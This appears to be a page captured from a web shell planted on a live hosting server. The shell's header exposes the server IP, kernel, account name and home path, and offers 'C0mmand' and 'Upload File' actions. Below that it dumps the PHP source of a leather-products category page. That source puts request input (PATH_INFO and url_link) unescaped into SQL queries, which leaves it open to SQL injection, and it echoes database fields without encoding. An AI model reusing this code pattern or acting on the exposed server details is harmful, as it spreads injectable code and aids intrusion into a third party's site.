Server IP : 103.53.40.154 / Your IP : 13.58.34.132 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/leatheroncall.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $slug_name = $_GET['url_link']; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $sql1 = "SELECT * FROM `tbl_services` WHERE url_link='$slug_name'"; $run1 = mysqli_query($db,$sql1) or die("Query Not run"); $row1 = mysqli_fetch_assoc($run1); } ?> <!doctype html> <html class="no-js" lang="zxx"> <head> <title><?php echo $row1['property_name']?></title> <?php include 'top-link.php';?> <style> .shop-product .box{ background:#e9e7e7; padding:10px; border-radius:10px; margin-top:10px; } .shop-product .box .product-image{ /* width:253px; */ height: 175px; } .shop-product .box img{ width:100%; height:auto; transition: 0.4s ease-in-out; } .shop-product .box img:hover{ transform: scale(1.03); } .shop-product .box h3{ font-size: 13px; margin: 10px auto; display: table; color: #333333;; } @media screen and (max-width: 767px) { .shop-product .box .product-image{ height: 155px; } .shop-product .box h3{ font-size: 11px; } .col-md-3{ width:50%; } } </style> </head> <body> <div class="body-wrapper"> <?php include 'header.php';?> <!-- Begin Page Banner Area --> <div class="page-banner"> <div class="container"> <div class="page-banner-content"> <ul> <li><a href="<?php echo $wspath?>">Home</a></li> <li><a href="<?php echo $wspath?>product.html">Products</a></li> <li class="active"><a><?php echo $row1['property_name']?></a></li> </ul> </div> </div> </div> <!-- Page Banner Area End Here --> <!-- Begin Shop Topbar Wrapper Area --> <div class="shop-topbar-area shop-topbar-area-reverse pt-100 pb-100"> <div class="container"> <div class="row"> <div class="col-lg-3 order-2 order-lg-1"> <div class="shop-sidebar shop-sidebar-reverse"> <!-- Shop Sidebar Area --> <div class="category"> <h4>Categories</h4> <!-- Begin Category List Area --> <div class="category-list"> <ul> <?php $sqlci = "SELECT * FROM `tbl_services`"; $runci = mysqli_query($db,$sqlci) or die("Query Not run"); while($dataci = mysqli_fetch_assoc($runci)){ ?> <li><a href="<?php echo $wspath?>categories<?php echo $dataci["url_link"];?>.html"><?php echo $dataci["property_name"];?></a></li> <?php } ?> </ul> </div> <!-- Category List Area End Here --> </div> </div> </div> <div class="col-lg-9 order-1 order-lg-2"> <div class="shop-topbar-wrapper shop-list-topbar-wrapper"> <!-- Begin Grid List Area --> <div class="grid-list"> <ul class="nav"> <li> <a class="active show" data-bs-toggle="tab" href="#grid" title="Grid"> <i class="fa fa-th-large"></i> </a> </li> <li> <a data-bs-toggle="tab" href="#list" title="List"> <i class="fa fa-th-list"></i> </a> </li> </ul> </div> <!-- Grid List Area End Here --> <!-- Begin Toolbar Short Area --> <div class="toolbar-short-area d-md-flex align-items-center"> <div class="toolbar-shorter"> </div> </div> <!-- Toolbar Short Area End Here --> </div> <div class="shop-product"> <!-- Begin Tab Menu Content Area --> <div class="tab-content"> <div id="grid" class="tab-pane show fade in active"> <div class="grid-view"> <div class="row"> <!-- .....product---start.... --> <?php $sqlpd = "SELECT * FROM `tbl_product` INNER JOIN tbl_services ON tbl_product.ser_id = tbl_services.sr_id WHERE url_link = '$slug_name'"; $runpd = mysqli_query($db,$sqlpd) or die("Query Not run"); while($datapd = mysqli_fetch_assoc($runpd)){ ?> <div class="col-md-3 " data-aos="fade-up"> <div class="box"> <div class="product-image"> <a href="<?php echo $wspath?>product-detail<?php echo $datapd['slug_link']?>.html"> <img src="<?php echo $wspath?>admin/images/<?php echo $datapd['img1']?>" alt="<?php echo $datapd['product_name']?>" class="img-fluid"></a> </div> <div class="product-detail"> <a href="<?php echo $wspath?>product-detail<?php echo $datapd['slug_link']?>.html"><h3><?php echo $datapd['product_name']?></h3></a> </div> </div> </div> <?php }?> <!-- .....product---end.... --> </div> </div> </div> <div id="list" class="tab-pane fade"> <div class="list-view"> <?php $sqlpd = "SELECT * FROM `tbl_product` INNER JOIN tbl_services ON tbl_product.ser_id = tbl_services.sr_id WHERE url_link = '$slug_name'"; $runpd = mysqli_query($db,$sqlpd) or die("Query Not run"); while($datapd = mysqli_fetch_assoc($runpd)){ ?> <div class="row"> <div class="col-lg-4 col-md-4"> <div class="product-image"> <a href="<?php echo $wspath?>product-detail<?php echo $datapd['slug_link']?>.html"> <img src="<?php echo $wspath?>admin/images/<?php echo $datapd['img1']?>" alt="<?php echo $datapd['product_name']?>" class="img-fluid"></a> </div> </div> <div class="col-lg-8 col-md-8"> <!-- Begin Product List Content Area --> <div class="pro-list-content"> <!-- Begin Product Name Area --> <h5 class="product-name"> <a href="<?php echo $wspath?>product-detail<?php echo $datapd['slug_link']?>.html" title="<?php echo $datapd['product_name']?>"><?php echo $datapd['product_name']?></a> </h5> <!-- List Rating Area End Here --> <!-- Begin List Text --> <div class="list-text"> <p><?php echo substr($datapd['product_detail'],0,200);?>...</p> </div> <!-- List Text End Here --> <!-- Begin Product Action Area --> <div class="product-action product-action-2"> <div class="product-action-inner"> <div class="cart"> <a href="<?php echo $wspath?>contact.html"> <span>Enquiry Now</span> </a> </div> </div> </div> <!-- Product Action Area End Here --> </div> <!-- Product List Content Area End Here --> </div> </div> <?php }?> </div> </div> </div> <!-- Tab Menu Content Area End Here --> </div> <!-- Begin Pagination Area --> <!--<div class="pagination-area pagination-area-reverse">--> <!-- <div class="container">--> <!-- <div class="row">--> <!-- <div class="col-lg-12 p-0">--> <!-- <div class="product-pagination">--> <!-- <ul>--> <!-- <li class="active"><a href="#">1</a></li>--> <!-- <li><a href="#">2</a></li>--> <!-- <li><a href="#">3</a></li>--> <!-- <li><a href="#">4</a></li>--> <!-- <li><a href="#">5</a></li>--> <!-- <li><a href="#"><i class="fa fa-angle-double-right"></i></a></li>--> <!-- </ul>--> <!-- </div>--> <!-- </div>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!-- Pagination Area End Here --> </div> </div> </div> </div> <!-- Shop Topbar Wrapper Area End Here --> <?php include 'footer.php';?> </div> </body> </html>